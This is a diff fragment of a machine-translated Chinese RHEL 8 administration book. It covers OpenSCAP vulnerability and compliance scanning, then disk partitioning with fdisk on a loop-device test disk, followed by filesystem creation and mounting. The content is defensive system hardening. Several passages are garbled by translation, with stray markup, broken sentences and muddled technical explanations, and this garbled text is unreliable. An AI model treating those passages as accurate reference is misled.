-为提到的每个工具运行`dnf info`命令并访问它们的网页将是非常有用的。 通过这种方式,您将能够更好地理解这些工具提供的功能,并能够使用它们。 - -现在安装`openscap-utils`: - -```sh -[root@rhel8 ~]# dnf install openscap-utils -y -Updating Subscription Management repositories. -Last metadata expiration check: 0:04:25 ago on dom 14 mar 2021 17:38:49 CET. -Dependencies resolved. -==================================================================================================== -Package Arch Version Repository Size -==================================================================================================== -Installing: -openscap-utils x86_64 1.3.3-6.el8_3 rhel-8-for-x86_64-appstream-rpms 43 k -Installing dependencies: -GConf2 x86_64 3.2.6-22.el8 rhel-8-for-x86_64-appstream-rpms 1.0 M -[omitted] - rpmdevtools-8.10-8.el8.noarch - rust-srpm-macros-5-2.el8.noarch - zstd-1.4.4-1.el8.x86_64 - -Complete! -``` - -现在让我们安装`scap-security-guide`,它包含特定于 rhel 的 SCAP 配置文件: - -```sh -[root@rhel8 ~]# dnf install scap-security-guide -y -Updating Subscription Management repositories. -Last metadata expiration check: 15:06:55 ago on dom 14 mar 2021 17:38:49 CET. -Dependencies resolved. -==================================================================================================== -Package Arch Version Repository Size -==================================================================================================== -Installing: -scap-security-guide noarch 0.1.50-16.el8_3 rhel-8-for-x86_64-appstream-rpms 7.4 M -Installing dependencies: -xml-common noarch 0.6.3-50.el8 rhel-8-for-x86_64-baseos-rpms 39 k -[omitted] - -Installed: - scap-security-guide-0.1.50-16.el8_3.noarch xml-common-0.6.3-50.el8.noarch - -Complete! -``` - -这个包附带了 SCAP 安全指南,包括与 RHEL 8 漏洞相关的漏洞,该漏洞位于`/usr/share/xml/scap/ssg/content/ssg-rhel8-oval.xml`。 现在,我们可以使用配置文件中包含的所有检查来运行初始扫描。 请注意,这将包括 2323 个测试,这将作为一个练习,以了解可能的漏洞和加强系统的行动。 那么,让我们运行它: - -```sh -[root@rhel8 ~]# oscap oval eval --report \ -vulnerability.html \ -/usr/share/xml/scap/ssg/content/ssg-rhel8-oval.xml -Definition oval:ssg-zipl_vsyscall_argument:def:1: false -Definition oval:ssg-zipl_slub_debug_argument:def:1: false -Definition oval:ssg-zipl_page_poison_argument:def:1: false -Definition oval:ssg-zipl_bootmap_is_up_to_date:def:1: false -[omitted] -Definition oval:ssg-accounts_logon_fail_delay:def:1: false -Definition oval:ssg-accounts_have_homedir_login_defs:def:1: true -Definition oval:ssg-account_unique_name:def:1: true -Definition oval:ssg-account_disable_post_pw_expiration:def:1: false -Evaluation done. -``` - -扫描输出将生成一个名为`vulnerability.html`的文件。 结果如下所示: - -![Figure 11.1 – Initial results of an OpenSCAP test scan ](img/B16799_11_001.jpg) - -图 11.1 - OpenSCAP 测试扫描的初始结果 - -让我们检查一下报告的一些细节。 在左上角,我们将找到**OVAL Results Generator Information**,其中包含了运行的细节,以及结果的总结: - -![Figure 11.2 – OpenSCAP test scan summary ](img/B16799_11_002.jpg) - -图 11.2 - OpenSCAP 测试扫描摘要 - -在右上角,我们可以看到**OVAL 定义生成器信息**以及用于检查的定义摘要: - -![Figure 11.3 – OpenSCAP test scan definitions summary ](img/B16799_11_003.jpg) - -图 11.3 - OpenSCAP 测试扫描定义摘要 - -在这些信息标记的下方,我们可以看到系统的基本总结,如果我们有一个很长的扫描列表,并且我们希望将该扫描分配给适当的系统,那么它将非常有用: - -![Figure 11.4 – OpenSCAP test scan system summary ](img/B16799_11_004.jpg) - -图 11.4 - OpenSCAP 测试扫描系统概要 - -在下面,我们有关于生成器的信息: - -![Figure 11.5 – OpenSCAP test scan generator info ](img/B16799_11_005.jpg) - -图 11.5 - OpenSCAP 测试扫描生成器信息 - -最后,检查的结果: - -![Figure 11.6 – OpenSCAP test scan results ](img/B16799_11_006.jpg) - -图 11.6 - OpenSCAP 测试扫描结果 - -通过这个测试,我们在系统上运行了一个漏洞扫描,获得了一组结果,根据系统的使用情况,需要解决这些结果。 在许多情况下,收到的警告并不适用,因此我们需要仔细审查它们。 应该在生产系统上仔细地进行这种练习,在继续应用更改之前,要对系统进行适当的备份和快照。 建议在构建服务时在测试环境中运行加固,然后尽可能将其转移到生产环境中。 - -重要提示 - -Red Hat Enterprise Linux System Design Guide*Red Hat Enterprise Linux System Design Guide*for RHEL 8 是关于系统安全性的一个很好的文档。 建议通读它,以扩展在本章中获得的知识。 可以在[https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/8/html/system_design_guide/index](https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/8/html/system_design_guide/index)上找到。 - -让我们学习更多的基础知识。 对于本次扫描,我们使用了 Red Hat 安全报告**Open Vulnerability Assessment Language**(**OVAL**)提要,该提要由系统包提供。 为了进行检查,我们运行了 OpenSCAP 工具来检查在 OVAL 中编写的不同安全建议和漏洞。 - -OVAL 要求所分析的资源处于某种状态才能认为它们是正确的。 它以声明的方式进行,这意味着描述和检查结束状态,而不是如何到达它。 - -Red Hat 安全团队生成 Red Hat 安全报告,以解决系统可能出现的不同漏洞,并针对每个漏洞发布 OVAL 定义。 这些文件是公开发布的,可以通过[https://www.redhat.com/security/data/oval/v2/](https://www.redhat.com/security/data/oval/v2/)获得。 - -现在让我们看一下报告中的一个例子: - -* **id**:t0】 -* **结果**:`false` -* **班**:`compliance` -* **Reference ID**:`[accounts_logon_fail_delay]` -* **标题**:`Ensure that FAIL_DELAY is Configured in /etc/login.defs` - -我们可以通过运行`man login.defs`来查看手册页面。 在这本书中,我们会发现以下内容: - -```sh -FAIL_DELAY (number) - Delay in seconds before being allowed another attempt after a - login failure. -``` - -这是用于确定用户在登录尝试失败后可以等待多久的值。 它的目的是避免对系统中的帐户进行暴力攻击。 例如,我们可以采用两种方法来解决这个问题: - -* 将变量`FAIL_DELAY`和值添加到`login.defs`。 -* 通过只允许使用 SSH 密钥而不是密码进行登录访问,强制访问系统。 - -或者更好的是,两者都做(深度安全性)。 我们可以继续检查列表中的每一个条目,并理解每一个条目,以完成对系统的加固,尽可能避免暴露。 这是一项通常与安全团队协调运行的任务,并且会不断地被审查。 - -现在我们已经运行了第一次漏洞扫描,接下来让我们看看如何在 t 中进行遵从性检查。 - -# 使用 OpenSCAP 与安全配置文件的 OSPP 和 PCI DSS - -行业中有几种安全配置文件用于遵从性。 其中最常见的两个(我们将在这里回顾其 T0)是**操作系统保护配置文件**(**OSPP**)和 PCI DSS。 - -OSPP 标准大量应用于公共部门,服务于通用系统,也作为其他限制性更强的环境(即国防认证系统)的基线。 - -PCI DSS 是金融行业中使用最广泛的标准之一,也适用于其他希望使用信用卡提供在线支付的行业。 - -RHEL 8 提供了使用 OpenSCAP 工具验证这些概要文件的参考资料。 让我们移动到它们所在的`/usr/share/xml/scap/ssg/content/`目录,并查看一下: - -```sh -[root@rhel8 ~]# cd /usr/share/xml/scap/ssg/content/ -[root@rhel8 content]# ls *rhel8* -ssg-rhel8-cpe-dictionary.xml -ssg-rhel8-ds-1.2.xml -ssg-rhel8-ocil.xml -ssg-rhel8-xccdf.xml -ssg-rhel8-cpe-oval.xml -ssg-rhel8-ds.xml -ssg-rhel8-oval.xml -``` - -如您所见,我们有不同类型的描述可以用于 OpenSCAP。 我们已经知道 OVAL。 让我们看看最重要的: - -* **可扩展配置检查表描述格式(XCCDF)**:XCCDF 用于构建安全检查表。 这在法规遵循测试和评分中非常常见。 -* **公共平台枚举(CPE)**:CPE 通过分配唯一标识符名称来帮助识别系统。 通过这种方式,它可以将测试和名称关联起来。 -* **Open Checklist Interactive Language (OCIL)**:OCIL 是 SCAP 标准的一部分。 它是一种聚合来自不同数据存储的其他检查的方法。 -* **DataStream (DS)**: DS is a format that puts together several components into a single file. It is used to distribute profiles easily. - - 提示 - - 通过检查组件 URL:[https://www.open-scap.org/features/scap-components/](https://www.open-scap.org/features/scap-components/),可以在 OpenSCAP web 页面上找到关于不同安全性描述和组件的更多信息。 - -在这个案例中,我们将使用`ssg-rhel8-ds.xml`文件。 让我们来看看与之相关的信息: - -```sh -[root@rhel8 content]# oscap info ssg-rhel8-ds.xml -Document type: Source Data Stream -[omitted] -Profiles: -Title: CIS Red Hat Enterprise Linux 8 Benchmark -Id: xccdf_org.ssgproject.content_profile_cis -Title: Unclassified Information in Non-federal Information Systems and Organizations (NIST 800-171) -Id: xccdf_org.ssgproject.content_profile_cui -Title: Australian Cyber Security Centre (ACSC) Essential Eight -Id: xccdf_org.ssgproject.content_profile_e8 -Title: Health Insurance Portability and Accountability Act (HIPAA) -Id: xccdf_org.ssgproject.content_profile_hipaa -Title: Protection Profile for General Purpose Operating Systems -Id: xccdf_org.ssgproject.content_profile_ospp -Title: PCI-DSS v3.2.1 Control Baseline Red Hat Enterprise Linux 8 -Id: xccdf_org.ssgproject.content_profile_pci-dss -Title: [DRAFT] DISA STIG for Red Hat Enterprise Linux 8 -Id: xccdf_org.ssgproject.content_profile_stig -Referenced check files: ssg-rhel8-oval.xml -system: http://oval.mitre.org/XMLSchema/oval-definitions-5 -ssg-rhel8-ocil.xml -system: http://scap.nist.gov/schema/ocil/2 -security-data-oval-com.redhat.rhsa-RHEL8.xml -system: http://oval.mitre.org/XMLSchema/oval-definitions-5 -Checks: -Ref-Id: scap_org.open-scap_cref_ssg-rhel8-oval.xml -Ref-Id: scap_org.open-scap_cref_ssg-rhel8-ocil.xml -Ref-Id: scap_org.open-scap_cref_ssg-rhel8-cpe-oval.xml -Ref-Id: scap_org.open-scap_cref_security-data-oval-com.redhat.rhsa-RHEL8.xml -Dictionaries: -Ref-Id: scap_org.open-scap_cref_ssg-rhel8-cpe-dictionary.xml -``` - -如您所见,它包括用于 RHEL 8 的 OSPP 和 PCI DSS 的配置文件。 让我们试一试。 - -## 扫描 OSPP 符合性 - -我们可以使用`oscap`的`--profile`选项来获取特定于**OSPP**配置文件的信息: - -```sh -[root@rhel8 content]# oscap info --profile \ -ospp ssg-rhel8-ds.xml -Document type: Source Data Stream -Imported: 2020-10-12T09:41:22 - -Stream: scap_org.open-scap_datastream_from_xccdf_ssg-rhel8-xccdf-1.2.xml -Generated: (null) -Version: 1.3 -WARNING: Datastream component 'scap_org.open-scap_cref_security-data-oval-com.redhat.rhsa-RHEL8.xml' points out to the remote 'https://www.redhat.com/security/data/oval/com.redhat.rhsa-RHEL8.xml'. Use '--fetch-remote-resources' option to download it. -WARNING: Skipping 'https://www.redhat.com/security/data/oval/com.redhat.rhsa-RHEL8.xml' file which is referenced from datastream -Profile -Title: Protection Profile for General Purpose Operating Systems -Id: xccdf_org.ssgproject.content_profile_ospp - -Description: This profile reflects mandatory configuration controls identified in the NIAP Configuration Annex to the Protection Profile for General Purpose Operating Systems (Protection Profile Version 4.2.1). This configuration profile is consistent with CNSSI-1253, which requires U.S. National Security Systems to adhere to certain configuration parameters. Accordingly, this configuration profile is suitable for use in U.S. National Security Systems. -``` - -我们可以在信息中看到 OSPP 配置文件被描述为`xccdf`。 现在我们可以运行`oscap`,表明我们想要在`xcddf`选项中使用该格式,并且我们想要采取的操作是用`eval`评估系统。 命令如下: - -```sh -[root@rhel8 content]# oscap xccdf eval \ ---report ospp-report.html --profile ospp ssg-rhel8-ds.xml -[omitted] -Title Set Password Maximum Consecutive Repeating Characters -Rule xccdf_org.ssgproject.content_rule_accounts_password_pam_maxrepeat -Ident CCE-82066-2 -Result fail -Title Ensure PAM Enforces Password Requirements - Maximum Consecutive Repeating Characters from Same Character Class -Rule xccdf_org.ssgproject.content_rule_accounts_password_pam_maxclassrepeat -Ident CCE-81034-1 -Result fail -[omitted] -Title Disable Kerberos by removing host keytab -Rule xccdf_org.ssgproject.content_rule_kerberos_disable_no_keytab -Ident CCE-82175-1 -Result pass -``` - -我们将获得关于 OSPP 规则结果的完整报告`ospp-report.html`文件: - -![Figure 11.7 – OpenSCAP OSPP scan results ](img/B16799_11_007.jpg) - -图 11.7 - OpenSCAP OSPP 扫描结果 - -它将显示需要修改的点,以符合配置文件: - -![Figure 11.8 – OpenSCAP OSPP scan results, detail rules that require action ](img/B16799_11_008.jpg) - -图 11.8 - OpenSCAP OSPP 扫描结果,需要操作的详细规则 - -我们现在可以一步一步地遵循这些建议,并对其进行修正,以便完全符合 OSPP 的要求。 此外,我们可以使用这种扫描来加固系统,即使它们不需要符合 OSPP,也会位于一个公开的网络(如 DMZ)中,我们希望对它们进行加固。 - -重要提示 - -Red Hat 提供了一种自动应用所有这些更改的方法。 它是基于自动化工具**Ansible**。 它以剧本的形式提供,这是一组对 Ansible 的描述,将应用所有需要的更改到系统。 OSPP 的剧本位于`/usr/share/scap-security-guide/ansible/rhel8-playbook-ospp.yml`。 - -现在我们已经审查了系统的 OSPP 遵从性,让我们转向下一个目标,PCI DSS 遵从性。 - -## PCI DSS 符合性扫描 - -我们可以遵循与前面相同的过程,也使用`oscap`的`--profile`选项获取特定于 PCI DSS 配置文件的信息: - -```sh -[root@rhel8 content]# oscap info --profile pci-dss \ -ssg-rhel8-ds.xml -Document type: Source Data Stream -Imported: 2020-10-12T09:41:22 - -Stream: scap_org.open-scap_datastream_from_xccdf_ssg-rhel8-xccdf-1.2.xml -Generated: (null) -Version: 1.3 -WARNING: Datastream component 'scap_org.open-scap_cref_security-data-oval-com.redhat.rhsa-RHEL8.xml' points out to the remote 'https://www.redhat.com/security/data/oval/com.redhat.rhsa-RHEL8.xml'. Use '--fetch-remote-resources' option to download it. -WARNING: Skipping 'https://www.redhat.com/security/data/oval/com.redhat.rhsa-RHEL8.xml' file which is referenced from datastream -Profile -Title: PCI-DSS v3.2.1 Control Baseline for Red Hat Enterprise Linux 8 -Id: xccdf_org.ssgproject.content_profile_pci-dss - -Description: Ensures PCI-DSS v3.2.1 security configuration settings are applied. -``` - -我们可以使用与前面部分相同的选项运行`oscap`,但是指定`pci-dss`作为概要文件。 它会生成适当的报告: - -```sh -[root@rhel8 content]# oscap xccdf eval –report \ -pci-dss-report.html --profile pci-dss ssg-rhel8-ds.xml -WARNING: Datastream component 'scap_org.open-scap_cref_security-data-oval-com.redhat.rhsa-RHEL8.xml' points out to the remote 'https://www.redhat.com/security/data/oval/com.redhat.rhsa-RHEL8.xml'. Use '--fetch-remote-resources' option to download it. -WARNING: Skipping 'https://www.redhat.com/security/data/oval/com.redhat.rhsa-RHEL8.xml' file which is referenced from datastream -WARNING: Skipping ./security-data-oval-com.redhat.rhsa-RHEL8.xml file which is referenced from XCCDF content -Title Ensure PAM Displays Last Logon/Access Notification -Rule xccdf_org.ssgproject.content_rule_display_login_attempts -Ident CCE-80788-3 -Result pass -[omitted] -Title Specify Additional Remote NTP Servers -Rule xccdf_org.ssgproject.content_rule_chronyd_or_ntpd_specify_multiple_servers -Ident CCE-80764-4 -Result fail -[root@rhel8 content]# ls -l pci-dss-report.html --rw-r--r--. 1 root root 3313684 mar 21 20:16 pci-dss-report.html -``` - -我们可以开始检查报告中的项目并开始修复它们。 - -重要提示 - -与前一节一样,Red Hat 还提供了一种方法,可以用 Ansible 自动应用所有这些更改。 PCI DSS 的剧本位于`/usr/share/scap-security-guide/ansible/rhel8-playbook-pci-dss.yml`。 - -我们已经看到,使用 OpenSCAP 从一个配置文件更改到另一个配置文件非常容易,我们可以扫描尽可能多的可用配置文件。 - -# 总结 - -通过学习**OpenSCAP**的基础知识,我们已经准备好检查和加强系统,使它们符合我们运行时需要的规则。 - -现在,如果您被要求遵守任何法规要求,您可以为它找到正确的 SCAP 配置文件(如果不存在,也可以构建它),并确保您的系统完全符合法规要求。 - -此外,即使没有应用监管需求,使用 OpenSCAP 也可以帮助您找到系统中的漏洞,或者为您的系统应用更安全(和限制性)的配置,以减少风险。 - -有办法扩展我们的知识和技能通过学习 Ansible,能够自动更改应用到我们的系统,很容易规模,以及 Red Hat 卫星,它可以帮助运行 SCAP 扫描整个基地管理,即使我们可以谈论成千上万的系统。 - -现在我们的安全技能正在改进和巩固,让我们深入到更低级的主题,如本地存储和文件系统,这将在下一章中描述。 \ No newline at end of file diff --git a/docs/rhel8-admin/12.md b/docs/rhel8-admin/12.md deleted file mode 100644 index 317d1d78..00000000 --- a/docs/rhel8-admin/12.md +++ /dev/null @@ -1,323 +0,0 @@ -# 十二、管理本地存储和文件系统 - -在前面的章节中,我们已经学习了安全性和系统管理。 在本章中,我们将重点讨论资源的管理—特别是存储管理。 - -存储管理是保持系统运行的重要组成部分:系统日志可能占用可用空间,新的应用可能需要为它们设置额外的存储(甚至在单独的磁盘上以提高性能),这些问题可能需要我们采取行动来解决。 - -在本章中,我们将学习以下主题: - -* 分区磁盘(**主引导记录**(**MBR)和**全球惟一标识符**(****GUID)【显示】分区表**(**GPT)磁盘)** -* 格式化和挂载文件系统 -* 在`fstab`中设置默认挂载和选项 -* **网络文件系统**(**NFS**)使用网络文件系统 - -这将为我们提供基础知识,以构建我们的存储管理技能,以保持系统运行。 - -让我们动手! - -# 技术要求 - -你可以继续练习使用**虚拟机(VM**)创建在这本书的开始[*第一章*](01.html#_idTextAnchor014)、【显示】安装 RHEL8。 本章所需的任何附加资料将在正文旁边注明。 您还需要分区磁盘(MBR 和 GPT 磁盘)。**** - - **## 让我们从定义开始 - -分区是存储设备的逻辑划分,它用于将可用的存储逻辑地分隔成更小的块。 - -现在,让我们继续学习一些关于存储的起源,以便更好地理解它。 - -## 一点历史 - -存储也是相关系统使用它的能力,让我们来解释一下**个人电脑的历史**(**电脑),软件,允许他们引导(**基本输入/输出系统【显示】(****BIOS)),以及它如何影响存储管理。**** - -这听起来可能有点奇怪,但初始存储需求只是少量的**KB**(**KB),第一在电脑硬盘,存储**只有几兆字节**(****MB)。** - -个人电脑也有一个特点和限制:个人电脑是兼容的,这意味着后续的型号与最初的**国际商业机器**(**IBM**)个人电脑设计具有兼容性。 - -传统磁盘分区在 MBR 之后的磁盘开始处使用一个空间,该空间允许四个分区寄存器(开始、结束、大小、分区类型、活动标志),称为**主**分区。 - -PC 启动时,BIOS 通过在 MBR 中运行一个小程序检查磁盘的分区表,然后加载活动分区的引导区并执行该引导区,从而引导操作系统。 - -的 IBM 个人电脑包含一个**磁盘操作系统**(**DOS)和兼容机(ms - DOS, DR-DOS FreeDOS 等等)也使用文件系统命名为**文件分配表**(**【显示】脂肪)。 FAT 包含几个基于其演变的结构,表示为集群寻址大小(以及一些其他特性)。 - -有了集群数量的限制,更大的磁盘意味着更大的块,所以如果一个文件只使用有限的空间,其他文件就不能使用剩余的块。 因此,将更大的硬盘驱动器分成更小的逻辑分区或多或少成为一种常态,以便小文件不会因为限制而占用可用空间。 - -想想作为一个议程的最大条目数,类似于你的手机快速拨号:如果你只有 9 槽快速拨号,如打短号码语音信箱还算是有存储大型国际号码作为仍在使用一个插槽。 - -随后版本的 FAT 分级减少了这些限制,同时增加了所支持的最大磁盘大小。 - -当然,其他操作系统也引入了它们自己的文件系统,但是使用的是相同的分区模式。 - -之后,创建一个新的分区类型:**扩展分区**,使用一个可用的四个**主分区**槽和允许额外的分区定义里面,使我们能够根据需要创建逻辑磁盘分配。 - -此外,拥有几个主分区还允许在同一台计算机上安装不同操作系统的专用空间,这些空间完全独立于其他操作系统。 - -所以… 分区允许电脑有不同的操作系统,有一个更好的使用可用的存储、甚至逻辑排序的数据通过保持它在不同的领域,如空间独立于用户数据,以便让操作系统用户填充可用空间不会影响计算机的操作。 - -我们说,这些设计与原 IBM 个人电脑的兼容性限制,所以当新的电脑使用**可扩展固件接口**(**EFI)似乎克服传统 BIOS 的局限性,一个叫做**GPT 的新分区表的格式**到来。** - - **使用 GPT 的系统使用 32 位和 64 位支持,而 BIOS 使用 16 位支持(从 IBM PC 兼容性继承而来),因此可以为磁盘使用更大的寻址,以及其他特性,如扩展控制器加载。 - -现在,让我们在下一节中学习磁盘分区。 - -# 分区磁盘(MBR 和 GPT 磁盘) - -如前所述,使用磁盘分区允许我们更有效地使用计算机和服务器中的可用空间。 - -让我们通过首先确定要操作的磁盘来深入研究磁盘分区。 - -重要提示 - -一旦我们学会了什么导致磁盘分区的局限性,我们应该遵循一个模式或另一个基于系统规范,但记住 EFI GPT 和 BIOS 需要需要 MBR,所以系统支持 UEFI,但和 MBR 磁盘分区,将启动系统进入 BIOS-compatible 模式。 - -Linux 使用不同的【显示】基于符号的磁盘的方式连接到系统,例如这些- - - - -可以看到磁盘作为`hda`或`sda`或`mmbclk0`根据连接使用。 传统上,磁盘连接使用**集成驱动电路【病人】(****IDE)接口使用磁盘命名为`hda`,`hdb`,等等,而磁盘使用【t16.1】**小型计算机系统接口(SCSI**)用于有磁盘命名为`sda`,`sdb`等等。** - -我们可以用`fdisk –l`或`lsblk –fp`列出可用的设备,如下截图所示: - -![Figure 12.1 – lsblk-fp and fdisk –l output ](img/B16799_12_001.jpg) - -图 12.1 - lsblk-fp 和 fdisk - l 输出 - -我们可以看到,我们的磁盘命名为`/dev/sda`有三个分区:`sda1`,`sda2`,`sda3`,`sda3`是`LVM`卷【显示】组,一个卷名为`/dev/mapper/rhel-root`。 - -为了以一种安全的方式演示磁盘分区,并使读者更容易使用 VM 进行测试,我们将创建一个假的**虚拟硬盘**(**VHD**)进行测试。 在此过程中,我们将使用`coreutil`包附带的`truncate`实用程序和`util-linux`包附带的`losetup`实用程序。 - -为了创建一个 VHD,我们将按照图 12.2 中所示的顺序执行以下命令: - -1. `truncate –s 20G myharddrive.hdd` - - 请注意 - - 这个命令创建了一个 20**GB**(**GB**)大小的文件,但这将是一个空文件,这意味着该文件实际上并没有在我们的磁盘上使用 20 GB,只是显示了该大小。 除非我们使用它,否则它不会消耗更多的磁盘空间(这称为**稀疏文件**)。 - -2. `losetup –f`,它将找到下一个可用的设备 -3. `losetup /dev/loop0 myharddrive.hdd`,这将`loop0`与所创建的文件相关联 -4. `lsblk –fp`,以验证新循环的磁盘 -5. `fdisk –l /dev/loop0`,列出新磁盘的可用空间 - -下面的屏幕截图显示了前面的顺序命令的输出: - -![Figure 12.2 – Execution of the indicated commands for creating a fake hard drive ](img/B16799_12_002.jpg) - -图 12.2 -执行指定的命令创建一个假硬盘 - -`losetup -f`命令会找到下一个可用的环回设备,该设备用于对备份文件进行回退访问。 例如,这通常用于在本地挂载 ISO 文件。 - -对于第三个命令,我们使用先前可用的环回设备在设备`loop0`设备和我们用第一个命令创建的文件之间建立一个循环连接。 - -正如我们可以看到,在剩下的命令,设备现在出现在运行相同的命令,我们执行在图 12.1*,显示我们有可用的 20 GB 磁盘。* - -重要提示 - -磁盘上的分区操作可能是危险的,可能导致系统不可用,需要恢复或重新安装。 为了减少这种可能性,本章中的例子将使用`/dev/loop0`创建的假磁盘,并且只与它交互。 在对实际的卷、磁盘等执行此操作时,请注意。 - -让我们通过在新创建的设备上执行`fdisk /dev/loop0`来开始创建分区,如下图所示: - -![Figure 12.3 – fdisk execution over /dev/loop0 ](img/B16799_12_003.jpg) - -图 12.3 -在/dev/loop0 上执行 fdisk - -我们可以看到在图 12.3*,磁盘不包含一个认识到分区表,所以创建一个新的 DOS 分区磁盘标签,但变化只保持在内存中,直到写回到磁盘。* - -在`fdisk`命令中,我们可以使用几个选项来创建分区。 我们应该注意的第一个是`m`,如图 12.3*中所示,它显示了帮助功能和可用的命令。* - -首先要考虑的是我们之前对 UEFI、BIOS 等的解释。 默认情况下,`fdisk`正在创建一个 DOS 分区,但是我们可以在手册(`m`)中看到,我们可以通过在`fdisk`中运行`g`命令来创建一个 GPT 分区。 - -要记住的一个重要命令是`p`,它打印当前的磁盘布局和分区,如下面的截图所定义: - -![Figure 12.4 – fdisk creating a new partition table ](img/B16799_12_004.jpg) - -图 12.4 - fdisk 创建一个新的分区表 - -我们可以看到,最初的`disklabel`类型为`dos`,现在为`gpt`,与 EFI/UEFI 兼容。 - -让我们回顾一下我们可以使用的一些基本命令,如下所示: - -* `n`:创建新分区 -* `d`:删除分区 -* `m`:显示手册页面(帮助) -* `p`:打印当前布局 -* `x`:进入高级模式(专为专家准备的额外功能) -* `q`:无保存退出 -* `w`:将更改写入磁盘并退出 -* `g`:创建新的 GPT 磁盘标签 -* `o`:创建 DOS 磁盘标签 -* `a`:在 DOS 模式下,将引导标志设置为一个主分区 - -创建一个新的传统磁盘分区布局的顺序是什么?其中是用于操作系统的可引导分区,而另一个是用于用户数据的分区,每个分区的磁盘大小为原来的一半。 - -这将是命令的顺序(这些也显示在*图 12.5*中): - -1. `o`并按*进入*来创建一个新的 DOS 磁盘标签 -2. `n`和*输入*创建一个新分区 -3. 按*进入*以接受主分区类型 -4. 按*输入*确认使用第一个分区(`1`) -5. 按*进入*接受初始扇区 -6. `+10G`和*输入*以显示第一个扇区的大小为 10gb -7. `n`和*输入*创建第二个新分区 -8. 按*进入*以接受它作为主分区类型 -9. 按*输入*以接受分区编号(`2`) -10. 按*进入*以接受第一个扇区作为 fdisk 提议的默认扇区 -11. 按*进入*以接受 fdisk 提议的结束扇区为默认 -12. `a`然后按*进入*将分区标记为可引导 -13. `1`和*输入*来标记第一个分区 - -如你所见,大多数选项接受默认值; 唯一的变化是指定一个分区大小`+10G`,这意味着它应该 10 GB(磁盘是 20 GB),然后开始第二个分区与新`n`命令,现在不是指定大小我们想使用所有其余的人。 最后一步是将第一个分区标记为启动的活动分区。 - -当然,请记住我们之前说过的:除非执行`w`命令,否则的更改不会写入磁盘,我们可以使用`p`来检查这些更改,如下截图所示: - -![Figure 12.5 – Disk partition layout creation and verification before writing it back to disk ](img/B16799_12_005.jpg) - -图 12.5 -磁盘分区布局的创建和写入磁盘之前的验证 - -为了结束本节,让我们使用`w`命令对磁盘进行修改,然后在下一节讨论文件系统。 但是,在此之前,让我们执行`partprobe /dev/loop0`来让内核更新它在磁盘上的内部视图,并找到两个新分区。 否则,`/dev/loop0p1`和`/dev/loop0p2`特殊文件可能无法创建,也无法使用。 - -注意一些分区修改在`partprobe` 执行后甚至没有更新,可能需要重新启动系统。 例如,这发生在有分区正在使用的磁盘中,例如在我们的计算机中保存根文件系统的磁盘。 - -# 格式化和挂载文件系统 - -在前一节中,我们学习了如何逻辑地划分磁盘,但是该磁盘仍然不能用于存储数据。 为了实现这一点,我们需要在它上定义一个**文件系统**作为第一步,使它对我们的系统可用。 - -文件系统是一种逻辑结构,它定义了文件、文件夹和更多的存储方式,并根据每种类型提供一组不同的特性。 - -支持的文件系统的数量和类型取决于操作系统的版本,因为在其发展过程中,可能会添加、删除新的文件系统,等等。 - -提示 - -请记住,**Red Hat Enterprise Linux**(**RHEL**)关注的是的稳定性,因此对于新版本添加或淘汰哪些特性有严格的控制,但在当前版本中没有。 你可以在[https://access.redhat.com/articles/rhel8-abi-compatibility](https://access.redhat.com/articles/rhel8-abi-compatibility)上阅读更多的。 - -在 RHEL 8 中,默认文件系统是**扩展文件系统**(**XFS),但你可以看到可用的 RHEL 文档的列表在[发现 https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/8/html/system_design_guide/overview-of-available-file-systems_system-design-guide](https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/8/html/system_design_guide/overview-of-available-file-systems_system-design-guide), 当然,也可以使用其他的,如**第四扩展文件系统**(**EXT4**)。** - -文件系统的选择取决于几个因素,如使用意图、将要使用的文件类型等等,因为不同的文件系统可能会影响性能。 - -例如,EXT4 和 XFS 都是日志文件系统,可以提供更多的电源故障保护,但是最大的文件系统在其他方面有所不同,比如可能成为碎片等。 - -在选择文件系统之前,最好了解正在部署的文件类型及其使用模式,因为选择错误的文件系统可能会影响系统性能。 - -正如我们在上一节中定义的 VHD 上的两个分区,我们可以尝试同时创建 XFS 和 EXT4 文件系统。 然而,再次非常小心当执行操作,文件系统的创建是一个破坏性的操作,将新结构写回磁盘,系统的操作作为根用户,这是必需的,选择错了可以摧毁在几秒内可用的数据,我们已经在我们的系统。 - -重要提示 - -请记住检查正在使用的命令的手册页,以便熟悉每个命令的不同建议和可用选项。 - -然后,让我们使用创建的两个分区对两个文件系统 XFS 和 EXT4 进行测试,对每个设备分别使用`mkfs.xfs`和`mkfs.ext4`命令,如下所示: - -![Figure 12.6 – Filesystem creation on the VHD created ](img/B16799_12_006.jpg) - -图 12.6 -在 VHD 上创建文件系统 - -注意,我们使用指定了不同的循环设备分区,并且为每个命令指定了一个`-L`参数。 我们稍后会再看一遍。 - -现在已经创建了文件系统,我们可以运行`lsblk -fp`为了验证这一点,我们可以看到这两个设备,现在显示文件系统在使用`LABEL`和`UUID`值(当我们创建了文件系统的显示`mkfs`),我们可以看到下面的截图: - -![Figure 12.7 – Output of lsblk –fp after creating the filesystems ](img/B16799_12_007.jpg) - -图 12.7 -创建文件系统后 lsblk - fp 的输出 - -从前输出,重要的是关注`UUID`和`LABEL`值(如果你还记得,我们列出的值中指定`mkfs`与`–L`命令选项),正如我们将在本章后面使用。 - -现在已经创建了文件系统,为了使用它们,我们需要挂载它们,这意味着让文件系统在系统中的一个路径上可用,以便每次在该路径中存储时,都将使用该设备。 - -安装一个文件系统可以通过几种方式,但最简单的方法是使用 autodetection 指定挂载的设备和本地路径安装它,但更复杂的允许几个选项定义可以发现当检查`man mount`帮助页面。 - -为了挂载我们创建的两个文件系统,我们将创建两个文件夹,然后通过执行以下命令来挂载每个设备: - -1. `cd` -2. `mkdir first second` -3. `mount /dev/loop0p1 first/` -4. `mount /dev/loop0p2 second/` - -此时,两个文件系统将在我们的主文件夹(根用户)中名为`first`和`second`的子文件夹中可用。 - -内核有自动找到每个设备正在使用的文件系统,并通过通过适当的控制器加载它,这是有效的,但有时我们可能需要定义特定的选项——例如,强制文件系统类型, 在过去,`ext2`和`ext3`是常用的文件系统,用于启用或禁用日志记录,或者,例如,禁用内置的特性,这些特性更新文件或目录访问时间,以减少磁盘 I/O 并提高性能。 - -一旦系统重新启动,在命令行上指定的所有选项或挂载的文件系统将不可用,因为这些只是运行时更改。 让我们继续下一节,学习如何在系统启动时定义默认选项和文件系统安装。 - -# 设置 fstab 中的默认挂载和选项 - 